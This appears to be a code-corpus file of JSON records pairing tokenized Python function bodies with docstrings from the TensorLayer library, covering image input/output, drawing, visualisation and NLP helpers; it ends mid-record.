{"signature": "def read_images(img_list, path='<STR_LIT>', n_threads=<NUM_LIT:10>, printable=True):", "body": "imgs = []<EOL>for idx in range(<NUM_LIT:0>, len(img_list), n_threads):<EOL><INDENT>b_imgs_list = img_list[idx:idx + n_threads]<EOL>b_imgs = tl.prepro.threading_data(b_imgs_list, fn=read_image, path=path)<EOL>imgs.extend(b_imgs)<EOL>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>' % (len(imgs), path))<EOL><DEDENT><DEDENT>return imgs<EOL>", "docstring": "Returns all images in list by given path and name of each image file.\n\n    Parameters\n    -------------\n    img_list : list of str\n        The image file names.\n    path : str\n        The image folder path.\n    n_threads : int\n        The number of threads to read image.\n    printable : boolean\n        Whether to print information when reading images.\n\n    Returns\n    -------\n    list of numpy.array\n        The images.", "id": "f11206:m1"}
{"signature": "def save_image(image, image_path='<STR_LIT>'):", "body": "try:  <EOL><INDENT>imageio.imwrite(image_path, image)<EOL><DEDENT>except Exception:  <EOL><INDENT>imageio.imwrite(image_path, image[:, :, <NUM_LIT:0>])<EOL><DEDENT>", "docstring": "Save a image.\n\n    Parameters\n    -----------\n    image : numpy array\n        [w, h, c]\n    image_path : str\n        path", "id": "f11206:m2"}
{"signature": "def save_images(images, size, image_path='<STR_LIT>'):", "body": "if len(images.shape) == <NUM_LIT:3>:  <EOL><INDENT>images = images[:, :, :, np.newaxis]<EOL><DEDENT>def merge(images, size):<EOL><INDENT>h, w = images.shape[<NUM_LIT:1>], images.shape[<NUM_LIT:2>]<EOL>img = np.zeros((h * size[<NUM_LIT:0>], w * size[<NUM_LIT:1>], <NUM_LIT:3>), dtype=images.dtype)<EOL>for idx, image in enumerate(images):<EOL><INDENT>i = idx % size[<NUM_LIT:1>]<EOL>j = idx // size[<NUM_LIT:1>]<EOL>img[j * h:j * h + h, i * w:i * w + w, :] = image<EOL><DEDENT>return img<EOL><DEDENT>def imsave(images, size, path):<EOL><INDENT>if np.max(images) <= <NUM_LIT:1> and (-<NUM_LIT:1> <= np.min(images) < <NUM_LIT:0>):<EOL><INDENT>images = ((images + <NUM_LIT:1>) * <NUM_LIT>).astype(np.uint8)<EOL><DEDENT>elif np.max(images) <= <NUM_LIT:1> and np.min(images) >= <NUM_LIT:0>:<EOL><INDENT>images = (images * <NUM_LIT:255>).astype(np.uint8)<EOL><DEDENT>return imageio.imwrite(path, merge(images, size))<EOL><DEDENT>if len(images) > size[<NUM_LIT:0>] * size[<NUM_LIT:1>]:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\".format(len(images)))<EOL><DEDENT>return imsave(images, size, image_path)<EOL>", "docstring": "Save multiple images into one single image.\n\n    Parameters\n    -----------\n    images : numpy array\n        (batch, w, h, c)\n    size : list of 2 ints\n        row and column number.\n        number of images should be equal or less than size[0] * size[1]\n    image_path : str\n        save path\n\n    Examples\n    ---------\n    >>> import numpy as np\n    >>> import tensorlayer as tl\n    >>> images = np.random.rand(64, 100, 100, 3)\n    >>> tl.visualize.save_images(images, [8, 8], 'temp.png')", "id": "f11206:m3"}
{"signature": "def draw_boxes_and_labels_to_image(<EOL>image, classes, coords, scores, classes_list, is_center=True, is_rescale=True, save_name=None<EOL>):", "body": "if len(coords) != len(classes):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if len(scores) > <NUM_LIT:0> and len(scores) != len(classes):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>image = image.copy()<EOL>imh, imw = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>thick = int((imh + imw) // <NUM_LIT>)<EOL>for i, _v in enumerate(coords):<EOL><INDENT>if is_center:<EOL><INDENT>x, y, x2, y2 = tl.prepro.obj_box_coord_centroid_to_upleft_butright(coords[i])<EOL><DEDENT>else:<EOL><INDENT>x, y, x2, y2 = coords[i]<EOL><DEDENT>if is_rescale:  <EOL><INDENT>x, y, x2, y2 = tl.prepro.obj_box_coord_scale_to_pixelunit([x, y, x2, y2], (imh, imw))<EOL><DEDENT>cv2.rectangle(<EOL>image,<EOL>(int(x), int(y)),<EOL>(int(x2), int(y2)),  <EOL>[<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>],<EOL>thick<EOL>)<EOL>cv2.putText(<EOL>image,<EOL>classes_list[classes[i]] + ((\"<STR_LIT>\" % (scores[i])) if (len(scores) != <NUM_LIT:0>) else \"<STR_LIT:U+0020>\"),<EOL>(int(x), int(y)),  <EOL><NUM_LIT:0>,<EOL><NUM_LIT> * imh,  <EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>],  <EOL>int(thick / <NUM_LIT:2>) + <NUM_LIT:1><EOL>)  <EOL><DEDENT>if save_name is not None:<EOL><INDENT>save_image(image, save_name)<EOL><DEDENT>return image<EOL>", "docstring": "Draw bboxes and class labels on image. Return or save the image with bboxes, example in the docs of ``tl.prepro``.\n\n    Parameters\n    -----------\n    image : numpy.array\n        The RGB image [height, width, channel].\n    classes : list of int\n        A list of class ID (int).\n    coords : list of int\n        A list of list for coordinates.\n            - Should be [x, y, x2, y2] (up-left and botton-right format)\n            - If [x_center, y_center, w, h] (set is_center to True).\n    scores : list of float\n        A list of score (float). (Optional)\n    classes_list : list of str\n        for converting ID to string on image.\n    is_center : boolean\n        Whether the coordinates is [x_center, y_center, w, h]\n            - If coordinates are [x_center, y_center, w, h], set it to True for converting it to [x, y, x2, y2] (up-left and botton-right) internally.\n            - If coordinates are [x1, x2, y1, y2], set it to False.\n    is_rescale : boolean\n        Whether to rescale the coordinates from pixel-unit format to ratio format.\n            - If True, the input coordinates are the portion of width and high, this API will scale the coordinates to pixel unit internally.\n            - If False, feed the coordinates with pixel unit format.\n    save_name : None or str\n        The name of image file (i.e. image.png), if None, not to save image.\n\n    Returns\n    -------\n    numpy.array\n        The saved image.\n\n    References\n    -----------\n    - OpenCV rectangle and putText.\n    - `scikit-image <http://scikit-image.org/docs/dev/api/skimage.draw.html#skimage.draw.rectangle>`__.", "id": "f11206:m4"}
{"signature": "def draw_mpii_pose_to_image(image, poses, save_name='<STR_LIT>'):", "body": "<EOL>image = image.copy()<EOL>imh, imw = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>thick = int((imh + imw) // <NUM_LIT>)<EOL>radius = int(thick * <NUM_LIT>)<EOL>if image.max() < <NUM_LIT:1>:<EOL><INDENT>image = image * <NUM_LIT:255><EOL><DEDENT>for people in poses:<EOL><INDENT>joint_pos = people['<STR_LIT>']<EOL>lines = [<EOL>[(<NUM_LIT:0>, <NUM_LIT:1>), [<NUM_LIT:100>, <NUM_LIT:255>, <NUM_LIT:100>]],<EOL>[(<NUM_LIT:1>, <NUM_LIT:2>), [<NUM_LIT:50>, <NUM_LIT:255>, <NUM_LIT:50>]],<EOL>[(<NUM_LIT:2>, <NUM_LIT:6>), [<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:0>]],  <EOL>[(<NUM_LIT:3>, <NUM_LIT:4>), [<NUM_LIT:100>, <NUM_LIT:100>, <NUM_LIT:255>]],<EOL>[(<NUM_LIT:4>, <NUM_LIT:5>), [<NUM_LIT:50>, <NUM_LIT:50>, <NUM_LIT:255>]],<EOL>[(<NUM_LIT:6>, <NUM_LIT:3>), [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:255>]],  <EOL>[(<NUM_LIT:6>, <NUM_LIT:7>), [<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:100>]],<EOL>[(<NUM_LIT:7>, <NUM_LIT:8>), [<NUM_LIT:255>, <NUM_LIT>, <NUM_LIT:50>]],  <EOL>[(<NUM_LIT:8>, <NUM_LIT:9>), [<NUM_LIT:255>, <NUM_LIT:200>, <NUM_LIT:100>]],  <EOL>[(<NUM_LIT:10>, <NUM_LIT:11>), [<NUM_LIT:255>, <NUM_LIT:100>, <NUM_LIT:255>]],<EOL>[(<NUM_LIT:11>, <NUM_LIT:12>), [<NUM_LIT:255>, <NUM_LIT:50>, <NUM_LIT:255>]],<EOL>[(<NUM_LIT:12>, <NUM_LIT:8>), [<NUM_LIT:255>, <NUM_LIT:0>, <NUM_LIT:255>]],  <EOL>[(<NUM_LIT:8>, <NUM_LIT>), [<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:255>]],<EOL>[(<NUM_LIT>, <NUM_LIT>), [<NUM_LIT:100>, <NUM_LIT:255>, <NUM_LIT:255>]],<EOL>[(<NUM_LIT>, <NUM_LIT:15>), [<NUM_LIT:200>, <NUM_LIT:255>, <NUM_LIT:255>]]  <EOL>]<EOL>for line in lines:<EOL><INDENT>start, end = line[<NUM_LIT:0>]<EOL>if (start in joint_pos) and (end in joint_pos):<EOL><INDENT>cv2.line(<EOL>image,<EOL>(int(joint_pos[start][<NUM_LIT:0>]), int(joint_pos[start][<NUM_LIT:1>])),<EOL>(int(joint_pos[end][<NUM_LIT:0>]), int(joint_pos[end][<NUM_LIT:1>])),  <EOL>line[<NUM_LIT:1>],<EOL>thick<EOL>)<EOL><DEDENT><DEDENT>for pos in joint_pos.items():<EOL><INDENT>_, pos_loc = pos  <EOL>pos_loc = (int(pos_loc[<NUM_LIT:0>]), int(pos_loc[<NUM_LIT:1>]))<EOL>cv2.circle(image, center=pos_loc, radius=radius, color=(<NUM_LIT:200>, <NUM_LIT:200>, <NUM_LIT:200>), thickness=-<NUM_LIT:1>)<EOL><DEDENT>head_rect = people['<STR_LIT>']<EOL>if head_rect:  <EOL><INDENT>cv2.rectangle(<EOL>image,<EOL>(int(head_rect[<NUM_LIT:0>]), int(head_rect[<NUM_LIT:1>])),<EOL>(int(head_rect[<NUM_LIT:2>]), int(head_rect[<NUM_LIT:3>])),  <EOL>[<NUM_LIT:0>, <NUM_LIT>, <NUM_LIT:0>],<EOL>thick<EOL>)<EOL><DEDENT><DEDENT>if save_name is not None:<EOL><INDENT>save_image(image, save_name)<EOL><DEDENT>return image<EOL>", "docstring": "Draw people(s) into image using MPII dataset format as input, return or save the result image.\n\n    This is an experimental API, can be changed in the future.\n\n    Parameters\n    -----------\n    image : numpy.array\n        The RGB image [height, width, channel].\n    poses : list of dict\n        The people(s) annotation in MPII format, see ``tl.files.load_mpii_pose_dataset``.\n    save_name : None or str\n        The name of image file (i.e. image.png), if None, not to save image.\n\n    Returns\n    --------\n    numpy.array\n        The saved image.\n\n    Examples\n    --------\n    >>> import pprint\n    >>> import tensorlayer as tl\n    >>> img_train_list, ann_train_list, img_test_list, ann_test_list = tl.files.load_mpii_pose_dataset()\n    >>> image = tl.vis.read_image(img_train_list[0])\n    >>> tl.vis.draw_mpii_pose_to_image(image, ann_train_list[0], 'image.png')\n    >>> pprint.pprint(ann_train_list[0])\n\n    References\n    -----------\n    - `MPII Keyponts and ID <http://human-pose.mpi-inf.mpg.de/#download>`__", "id": "f11206:m5"}
{"signature": "def frame(I=None, second=<NUM_LIT:5>, saveable=True, name='<STR_LIT>', cmap=None, fig_idx=<NUM_LIT>):", "body": "import matplotlib.pyplot as plt<EOL>if saveable is False:<EOL><INDENT>plt.ion()<EOL><DEDENT>plt.figure(fig_idx)  <EOL>if len(I.shape) and I.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:  <EOL><INDENT>I = I[:, :, <NUM_LIT:0>]<EOL><DEDENT>plt.imshow(I, cmap)<EOL>plt.title(name)<EOL>if saveable:<EOL><INDENT>plt.savefig(name + '<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.draw()<EOL>plt.pause(second)<EOL><DEDENT>", "docstring": "Display a frame. Make sure OpenAI Gym render() is disable before using it.\n\n    Parameters\n    ----------\n    I : numpy.array\n        The image.\n    second : int\n        The display second(s) for the image(s), if saveable is False.\n    saveable : boolean\n        Save or plot the figure.\n    name : str\n        A name to save the image, if saveable is True.\n    cmap : None or str\n        'gray' for greyscale, None for default, etc.\n    fig_idx : int\n        matplotlib figure index.\n\n    Examples\n    --------\n    >>> env = gym.make(\"Pong-v0\")\n    >>> observation = env.reset()\n    >>> tl.visualize.frame(observation)", "id": "f11206:m6"}
{"signature": "def CNN2d(CNN=None, second=<NUM_LIT:10>, saveable=True, name='<STR_LIT>', fig_idx=<NUM_LIT>):", "body": "import matplotlib.pyplot as plt<EOL>n_mask = CNN.shape[<NUM_LIT:3>]<EOL>n_row = CNN.shape[<NUM_LIT:0>]<EOL>n_col = CNN.shape[<NUM_LIT:1>]<EOL>n_color = CNN.shape[<NUM_LIT:2>]<EOL>row = int(np.sqrt(n_mask))<EOL>col = int(np.ceil(n_mask / row))<EOL>plt.ion()  <EOL>fig = plt.figure(fig_idx)<EOL>count = <NUM_LIT:1><EOL>for _ir in range(<NUM_LIT:1>, row + <NUM_LIT:1>):<EOL><INDENT>for _ic in range(<NUM_LIT:1>, col + <NUM_LIT:1>):<EOL><INDENT>if count > n_mask:<EOL><INDENT>break<EOL><DEDENT>fig.add_subplot(col, row, count)<EOL>if n_color == <NUM_LIT:1>:<EOL><INDENT>plt.imshow(np.reshape(CNN[:, :, :, count - <NUM_LIT:1>], (n_row, n_col)), cmap='<STR_LIT>', interpolation=\"<STR_LIT>\")<EOL><DEDENT>elif n_color == <NUM_LIT:3>:<EOL><INDENT>plt.imshow(<EOL>np.reshape(CNN[:, :, :, count - <NUM_LIT:1>], (n_row, n_col, n_color)), cmap='<STR_LIT>', interpolation=\"<STR_LIT>\"<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>plt.gca().xaxis.set_major_locator(plt.NullLocator())  <EOL>plt.gca().yaxis.set_major_locator(plt.NullLocator())<EOL>count = count + <NUM_LIT:1><EOL><DEDENT><DEDENT>if saveable:<EOL><INDENT>plt.savefig(name + '<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.draw()<EOL>plt.pause(second)<EOL><DEDENT>", "docstring": "Display a group of RGB or Greyscale CNN masks.\n\n    Parameters\n    ----------\n    CNN : numpy.array\n        The image. e.g: 64 5x5 RGB images can be (5, 5, 3, 64).\n    second : int\n        The display second(s) for the image(s), if saveable is False.\n    saveable : boolean\n        Save or plot the figure.\n    name : str\n        A name to save the image, if saveable is True.\n    fig_idx : int\n        The matplotlib figure index.\n\n    Examples\n    --------\n    >>> tl.visualize.CNN2d(network.all_params[0].eval(), second=10, saveable=True, name='cnn1_mnist', fig_idx=2012)", "id": "f11206:m7"}
{"signature": "def images2d(images=None, second=<NUM_LIT:10>, saveable=True, name='<STR_LIT>', dtype=None, fig_idx=<NUM_LIT>):", "body": "import matplotlib.pyplot as plt<EOL>if dtype:<EOL><INDENT>images = np.asarray(images, dtype=dtype)<EOL><DEDENT>n_mask = images.shape[<NUM_LIT:0>]<EOL>n_row = images.shape[<NUM_LIT:1>]<EOL>n_col = images.shape[<NUM_LIT:2>]<EOL>n_color = images.shape[<NUM_LIT:3>]<EOL>row = int(np.sqrt(n_mask))<EOL>col = int(np.ceil(n_mask / row))<EOL>plt.ion()  <EOL>fig = plt.figure(fig_idx)<EOL>count = <NUM_LIT:1><EOL>for _ir in range(<NUM_LIT:1>, row + <NUM_LIT:1>):<EOL><INDENT>for _ic in range(<NUM_LIT:1>, col + <NUM_LIT:1>):<EOL><INDENT>if count > n_mask:<EOL><INDENT>break<EOL><DEDENT>fig.add_subplot(col, row, count)<EOL>if n_color == <NUM_LIT:1>:<EOL><INDENT>plt.imshow(np.reshape(images[count - <NUM_LIT:1>, :, :], (n_row, n_col)), cmap='<STR_LIT>', interpolation=\"<STR_LIT>\")<EOL><DEDENT>elif n_color == <NUM_LIT:3>:<EOL><INDENT>plt.imshow(images[count - <NUM_LIT:1>, :, :], cmap='<STR_LIT>', interpolation=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>plt.gca().xaxis.set_major_locator(plt.NullLocator())  <EOL>plt.gca().yaxis.set_major_locator(plt.NullLocator())<EOL>count = count + <NUM_LIT:1><EOL><DEDENT><DEDENT>if saveable:<EOL><INDENT>plt.savefig(name + '<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.draw()<EOL>plt.pause(second)<EOL><DEDENT>", "docstring": "Display a group of RGB or Greyscale images.\n\n    Parameters\n    ----------\n    images : numpy.array\n        The images.\n    second : int\n        The display second(s) for the image(s), if saveable is False.\n    saveable : boolean\n        Save or plot the figure.\n    name : str\n        A name to save the image, if saveable is True.\n    dtype : None or numpy data type\n        The data type for displaying the images.\n    fig_idx : int\n        matplotlib figure index.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_test, y_test = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3), plotable=False)\n    >>> tl.visualize.images2d(X_train[0:100,:,:,:], second=10, saveable=False, name='cifar10', dtype=np.uint8, fig_idx=20212)", "id": "f11206:m8"}
{"signature": "def tsne_embedding(embeddings, reverse_dictionary, plot_only=<NUM_LIT>, second=<NUM_LIT:5>, saveable=False, name='<STR_LIT>', fig_idx=<NUM_LIT>):", "body": "import matplotlib.pyplot as plt<EOL>def plot_with_labels(low_dim_embs, labels, figsize=(<NUM_LIT>, <NUM_LIT>), second=<NUM_LIT:5>, saveable=True, name='<STR_LIT>', fig_idx=<NUM_LIT>):<EOL><INDENT>if low_dim_embs.shape[<NUM_LIT:0>] < len(labels):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if saveable is False:<EOL><INDENT>plt.ion()<EOL>plt.figure(fig_idx)<EOL><DEDENT>plt.figure(figsize=figsize)  <EOL>for i, label in enumerate(labels):<EOL><INDENT>x, y = low_dim_embs[i, :]<EOL>plt.scatter(x, y)<EOL>plt.annotate(label, xy=(x, y), xytext=(<NUM_LIT:5>, <NUM_LIT:2>), textcoords='<STR_LIT>', ha='<STR_LIT:right>', va='<STR_LIT>')<EOL><DEDENT>if saveable:<EOL><INDENT>plt.savefig(name + '<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.draw()<EOL>plt.pause(second)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>from sklearn.manifold import TSNE<EOL>from six.moves import xrange<EOL>tsne = TSNE(perplexity=<NUM_LIT:30>, n_components=<NUM_LIT:2>, init='<STR_LIT>', n_iter=<NUM_LIT>)<EOL>low_dim_embs = tsne.fit_transform(embeddings[:plot_only, :])<EOL>labels = [reverse_dictionary[i] for i in xrange(plot_only)]<EOL>plot_with_labels(low_dim_embs, labels, second=second, saveable=saveable, name=name, fig_idx=fig_idx)<EOL><DEDENT>except ImportError:<EOL><INDENT>_err = \"<STR_LIT>\"<EOL>tl.logging.error(_err)<EOL>raise ImportError(_err)<EOL><DEDENT>", "docstring": "Visualize the embeddings by using t-SNE.\n\n    Parameters\n    ----------\n    embeddings : numpy.array\n        The embedding matrix.\n    reverse_dictionary : dictionary\n        id_to_word, mapping id to unique word.\n    plot_only : int\n        The number of examples to plot, choice the most common words.\n    second : int\n        The display second(s) for the image(s), if saveable is False.\n    saveable : boolean\n        Save or plot the figure.\n    name : str\n        A name to save the image, if saveable is True.\n    fig_idx : int\n        matplotlib figure index.\n\n    Examples\n    --------\n    >>> see 'tutorial_word2vec_basic.py'\n    >>> final_embeddings = normalized_embeddings.eval()\n    >>> tl.visualize.tsne_embedding(final_embeddings, labels, reverse_dictionary,\n    ...                   plot_only=500, second=5, saveable=False, name='tsne')", "id": "f11206:m9"}
{"signature": "def draw_weights(W=None, second=<NUM_LIT:10>, saveable=True, shape=None, name='<STR_LIT>', fig_idx=<NUM_LIT>):", "body": "if shape is None:<EOL><INDENT>shape = [<NUM_LIT>, <NUM_LIT>]<EOL><DEDENT>import matplotlib.pyplot as plt<EOL>if saveable is False:<EOL><INDENT>plt.ion()<EOL><DEDENT>fig = plt.figure(fig_idx)  <EOL>n_units = W.shape[<NUM_LIT:1>]<EOL>num_r = int(np.sqrt(n_units))  <EOL>num_c = int(np.ceil(n_units / num_r))<EOL>count = int(<NUM_LIT:1>)<EOL>for _row in range(<NUM_LIT:1>, num_r + <NUM_LIT:1>):<EOL><INDENT>for _col in range(<NUM_LIT:1>, num_c + <NUM_LIT:1>):<EOL><INDENT>if count > n_units:<EOL><INDENT>break<EOL><DEDENT>fig.add_subplot(num_r, num_c, count)<EOL>feature = W[:, count - <NUM_LIT:1>] / np.sqrt((W[:, count - <NUM_LIT:1>]**<NUM_LIT:2>).sum())<EOL>plt.imshow(<EOL>np.reshape(feature, (shape[<NUM_LIT:0>], shape[<NUM_LIT:1>])), cmap='<STR_LIT>', interpolation=\"<STR_LIT>\"<EOL>)  <EOL>plt.gca().xaxis.set_major_locator(plt.NullLocator())  <EOL>plt.gca().yaxis.set_major_locator(plt.NullLocator())<EOL>count = count + <NUM_LIT:1><EOL><DEDENT><DEDENT>if saveable:<EOL><INDENT>plt.savefig(name + '<STR_LIT>', format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.draw()<EOL>plt.pause(second)<EOL><DEDENT>", "docstring": "Visualize every columns of the weight matrix to a group of Greyscale img.\n\n    Parameters\n    ----------\n    W : numpy.array\n        The weight matrix\n    second : int\n        The display second(s) for the image(s), if saveable is False.\n    saveable : boolean\n        Save or plot the figure.\n    shape : a list with 2 int or None\n        The shape of feature image, MNIST is [28, 80].\n    name : a string\n        A name to save the image, if saveable is True.\n    fig_idx : int\n        matplotlib figure index.\n\n    Examples\n    --------\n    >>> tl.visualize.draw_weights(network.all_params[0].eval(), second=10, saveable=True, name='weight_of_1st_layer', fig_idx=2012)", "id": "f11206:m10"}
{"signature": "def generate_skip_gram_batch(data, batch_size, num_skips, skip_window, data_index=<NUM_LIT:0>):", "body": "<EOL>if batch_size % num_skips != <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if num_skips > <NUM_LIT:2> * skip_window:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>batch = np.ndarray(shape=(batch_size), dtype=np.int32)<EOL>labels = np.ndarray(shape=(batch_size, <NUM_LIT:1>), dtype=np.int32)<EOL>span = <NUM_LIT:2> * skip_window + <NUM_LIT:1>  <EOL>buffer = collections.deque(maxlen=span)<EOL>for _ in range(span):<EOL><INDENT>buffer.append(data[data_index])<EOL>data_index = (data_index + <NUM_LIT:1>) % len(data)<EOL><DEDENT>for i in range(batch_size // num_skips):<EOL><INDENT>target = skip_window  <EOL>targets_to_avoid = [skip_window]<EOL>for j in range(num_skips):<EOL><INDENT>while target in targets_to_avoid:<EOL><INDENT>target = random.randint(<NUM_LIT:0>, span - <NUM_LIT:1>)<EOL><DEDENT>targets_to_avoid.append(target)<EOL>batch[i * num_skips + j] = buffer[skip_window]<EOL>labels[i * num_skips + j, <NUM_LIT:0>] = buffer[target]<EOL><DEDENT>buffer.append(data[data_index])<EOL>data_index = (data_index + <NUM_LIT:1>) % len(data)<EOL><DEDENT>return batch, labels, data_index<EOL>", "docstring": "Generate a training batch for the Skip-Gram model.\n\n    See `Word2Vec example <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_word2vec_basic.py>`__.\n\n    Parameters\n    ----------\n    data : list of data\n        To present context, usually a list of integers.\n    batch_size : int\n        Batch size to return.\n    num_skips : int\n        How many times to reuse an input to generate a label.\n    skip_window : int\n        How many words to consider left and right.\n    data_index : int\n        Index of the context location. This code use `data_index` to instead of yield like ``tl.iterate``.\n\n    Returns\n    -------\n    batch : list of data\n        Inputs.\n    labels : list of data\n        Labels\n    data_index : int\n        Index of the context location.\n\n    Examples\n    --------\n    Setting num_skips=2, skip_window=1, use the right and left words.\n    In the same way, num_skips=4, skip_window=2 means use the nearby 4 words.\n\n    >>> data = [1,2,3,4,5,6,7,8,9,10,11]\n    >>> batch, labels, data_index = tl.nlp.generate_skip_gram_batch(data=data, batch_size=8, num_skips=2, skip_window=1, data_index=0)\n    >>> print(batch)\n    [2 2 3 3 4 4 5 5]\n    >>> print(labels)\n    [[3]\n    [1]\n    [4]\n    [2]\n    [5]\n    [3]\n    [4]\n    [6]]", "id": "f11210:m0"}
{"signature": "def sample(a=None, temperature=<NUM_LIT:1.0>):", "body": "if a is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>b = np.copy(a)<EOL>try:<EOL><INDENT>if temperature == <NUM_LIT:1>:<EOL><INDENT>return np.argmax(np.random.multinomial(<NUM_LIT:1>, a, <NUM_LIT:1>))<EOL><DEDENT>if temperature is None:<EOL><INDENT>return np.argmax(a)<EOL><DEDENT>else:<EOL><INDENT>a = np.log(a) / temperature<EOL>a = np.exp(a) / np.sum(np.exp(a))<EOL>return np.argmax(np.random.multinomial(<NUM_LIT:1>, a, <NUM_LIT:1>))<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>message = \"<STR_LIT>\"<EOL>warnings.warn(message, Warning)<EOL>return np.argmax(np.random.multinomial(<NUM_LIT:1>, b, <NUM_LIT:1>))<EOL><DEDENT>", "docstring": "Sample an index from a probability array.\n\n    Parameters\n    ----------\n    a : list of float\n        List of probabilities.\n    temperature : float or None\n        The higher the more uniform. When a = [0.1, 0.2, 0.7],\n            - temperature = 0.7, the distribution will be sharpen [0.05048273,  0.13588945,  0.81362782]\n            - temperature = 1.0, the distribution will be the same [0.1,    0.2,    0.7]\n            - temperature = 1.5, the distribution will be filtered [0.16008435,  0.25411807,  0.58579758]\n            - If None, it will be ``np.argmax(a)``\n\n    Notes\n    ------\n    - No matter what is the temperature and input list, the sum of all probabilities will be one. Even if input list = [1, 100, 200], the sum of all probabilities will still be one.\n    - For large vocabulary size, choice a higher temperature or ``tl.nlp.sample_top`` to avoid error.", "id": "f11210:m1"}
{"signature": "def sample_top(a=None, top_k=<NUM_LIT:10>):", "body": "if a is None:<EOL><INDENT>a = []<EOL><DEDENT>idx = np.argpartition(a, -top_k)[-top_k:]<EOL>probs = a[idx]<EOL>probs = probs / np.sum(probs)<EOL>choice = np.random.choice(idx, p=probs)<EOL>return choice<EOL>", "docstring": "Sample from ``top_k`` probabilities.\n\n    Parameters\n    ----------\n    a : list of float\n        List of probabilities.\n    top_k : int\n        Number of candidates to be considered.", "id": "f11210:m2"}
{"signature": "def process_sentence(sentence, start_word=\"<STR_LIT>\", end_word=\"<STR_LIT>\"):", "body": "if start_word is not None:<EOL><INDENT>process_sentence = [start_word]<EOL><DEDENT>else:<EOL><INDENT>process_sentence = []<EOL><DEDENT>process_sentence.extend(nltk.tokenize.word_tokenize(sentence.lower()))<EOL>if end_word is not None:<EOL><INDENT>process_sentence.append(end_word)<EOL><DEDENT>return process_sentence<EOL>", "docstring": "Seperate a sentence string into a list of string words, add start_word and end_word,\n    see ``create_vocab()`` and ``tutorial_tfrecord3.py``.\n\n    Parameters\n    ----------\n    sentence : str\n        A sentence.\n    start_word : str or None\n        The start word. If None, no start word will be appended.\n    end_word : str or None\n        The end word. If None, no end word will be appended.\n\n    Returns\n    ---------\n    list of str\n        A list of strings that separated into words.\n\n    Examples\n    -----------\n    >>> c = \"how are you?\"\n    >>> c = tl.nlp.process_sentence(c)\n    >>> print(c)\n    ['<S>', 'how', 'are', 'you', '?', '</S>']\n\n    Notes\n    -------\n    - You have to install the following package.\n    - `Installing NLTK <http://www.nltk.org/install.html>`__\n    - `Installing NLTK data <http://www.nltk.org/data.html>`__", "id": "f11210:m3"}
{"signature": "def create_vocab(sentences, word_counts_output_file, min_word_count=<NUM_LIT:1>):", "body": "tl.logging.info(\"<STR_LIT>\")<EOL>counter = Counter()<EOL>for c in sentences:<EOL><INDENT>counter.update(c)<EOL><DEDENT>tl.logging.info(\"<STR_LIT>\" % len(counter))<EOL>word_counts = [x for x in counter.items() if x[<NUM_LIT:1>] >= min_word_count]<EOL>word_counts.sort(key=lambda x: x[<NUM_LIT:1>], reverse=True)<EOL>word_counts = [(\"<STR_LIT>\", <NUM_LIT:0>)] + word_counts  <EOL>tl.logging.info(\"<STR_LIT>\" % len(word_counts))<EOL>with tf.gfile.FastGFile(word_counts_output_file, \"<STR_LIT:w>\") as f:<EOL><INDENT>f.write(\"<STR_LIT:\\n>\".join([\"<STR_LIT>\" % (w, c) for w, c in word_counts]))<EOL><DEDENT>tl.logging.info(\"<STR_LIT>\" % word_counts_output_file)<EOL>reverse_vocab = [x[<NUM_LIT:0>] for x in word_counts]<EOL>unk_id = len(reverse_vocab)<EOL>vocab_dict = dict([(x, y) for (y, x) in enumerate(reverse_vocab)])<EOL>vocab = SimpleVocabulary(vocab_dict, unk_id)<EOL>return vocab<EOL>", "docstring": "Creates the vocabulary of word to word_id.\n\n    See ``tutorial_tfrecord3.py``.\n\n    The vocabulary is saved to disk in a text file of word counts. The id of each\n    word in the file is its corresponding 0-based line number.\n\n    Parameters\n    ------------\n    sentences : list of list of str\n        All sentences for creating the vocabulary.\n    word_counts_output_file : str\n        The file name.\n    min_word_count : int\n        Minimum number of occurrences for a word.\n\n    Returns\n    --------\n    :class:`SimpleVocabulary`\n        The simple vocabulary object, see :class:`Vocabulary` for more.\n\n    Examples\n    --------\n    Pre-process sentences\n\n    >>> captions = [\"one two , three\", \"four five five\"]\n    >>> processed_capts = []\n    >>> for c in captions:\n    >>>     c = tl.nlp.process_sentence(c, start_word=\"<S>\", end_word=\"</S>\")\n    >>>     processed_capts.append(c)\n    >>> print(processed_capts)\n    ...[['<S>', 'one', 'two', ',', 'three', '</S>'], ['<S>', 'four', 'five', 'five', '</S>']]\n\n    Create vocabulary\n\n    >>> tl.nlp.create_vocab(processed_capts, word_counts_output_file='vocab.txt', min_word_count=1)\n    Creating vocabulary.\n      Total words: 8\n      Words in vocabulary: 8\n      Wrote vocabulary file: vocab.txt\n\n    Get 